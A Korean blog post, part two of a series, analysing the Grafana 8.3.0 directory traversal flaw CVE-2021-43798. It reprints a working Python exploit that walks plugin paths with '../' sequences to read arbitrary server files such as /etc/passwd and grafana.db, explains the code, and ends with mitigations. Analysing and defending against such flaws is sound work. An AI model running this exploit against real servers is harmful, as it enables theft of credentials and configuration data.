CVE

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (2)

jeff_kim 2024. 6. 12. 18:25

이전 게시글에서는 익스플로잇 하는 방법에 대해서 살펴보았다.

 

이 취약점은 21년도 12월에 제로데이로 트위터에 게시되어 많은 관심이 있었다고 한다 이 취약점이 공개된 이후 단 4일만에 공식 패치가 출시되어 짧은 시간동안만 제로데이였다고 한다. 

 

이제 익스플로잇 코드에 대한 분석을 해볼 것이다.

 

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

 

Grafana 8.0.0 ~ 8.3.0 버전에서 발견된 디렉터리 순회 공격 및 임의 파일 읽기 취약점이다. 이 취약점은 공격자가 서버에서 임의의 파일을 읽을 수 있도록 허용한다.

 

 

 

Description

Grafana는 데이터 시각화 및 모니터링 도구로 아주 많이 쓰이고 있다. 이 공개 취약점은 특정 플러그인을 이용하여 파일을 읽기 위해서 사용하는 경로 조작 취약점이다. 공격자는 디렉터리 순회 공격을 통해서 민감한 파일에 대한 정보를 읽을 수 있다. 

 

코드 분석

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

grafana에 있는 플러그인들에 대해서 나열해 놓은 것이다. 이 플로그인들이 공격에서 아주 유용하게 사용될 것이다.

 

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

exploit 함수에서는 공격자가 입력하여 파일을 읽을 수 있도록 입력을 받고, 공격자가 입력한 파일 경로를 포함해  URL을 구성한 후에 requests 모듈을 이용해 GET 요청을 전송한다. 디렉터리 순회 공격을 이용해 익스플로잇을 하기 때문에 ../../../../../ 와 같은 상위 디렉터리로 이동하는 것을 확인 할 수 있다.

이후 서버의 응답을 확인하여 파일이 존재하면 내용을 출력하고, 그렇지 않다면 오류메시지를 출력한다.

 

영향

취약한 Grafana 버전을 사용하는 서버들은 공격자가 서버의 중요한 파일을 읽는데 사용될 수 있다. /etc/passwd나 /etc/grafana/grafana.ini 또는 grafana.db 같은 응용 프로그램 구성 파일을 읽거나 저장되어있는 데이터베이스를 읽는다면 민감한 정보를 유출할 수 있다는 것이다. 이러한 점은 서버의 보안을 심각하게 저해할 수 있다. 또한 파일에 들어있는 내용을 읽어 다른 연계 공격이 가능할 것으로 예상된다

 

대응 방법

1. 버전 업데이트 : Grafana를 최신버전으로 업데이트 한다. 단 4일만에 패치 버전이 나온 것을 보았을 때 최신버전이 나오면 빠르게 업데이틀 하는 것이 중요하다

 

2. 웹 애플리케이션 방화벽(WAF) : 디렉터리 순회 공격을 차단할 수 있는 WAF를 사용한다

 

3. 접근 제어(Access Control) : 서버 파일 시스템에 대한 접근 권한을 최소화하고, 민감한 파일에 대한 접근을 제한한다

 

4. 입력 검증 : 사용자의 입력에 대해서 철저히 검증해야하고, 디렉터리 순회 같은 패턴을 필터링 할 수 있는 코드를 작성하여 패턴이 감지된다면 차단하여 사전에 미리 방지한다

 

 

 

 

 

'CVE' 카테고리의 다른 글

[CVE-2021-43798] Grafana 8.3.0 공개 취약점 분석 (1)  (0) 2024.06.12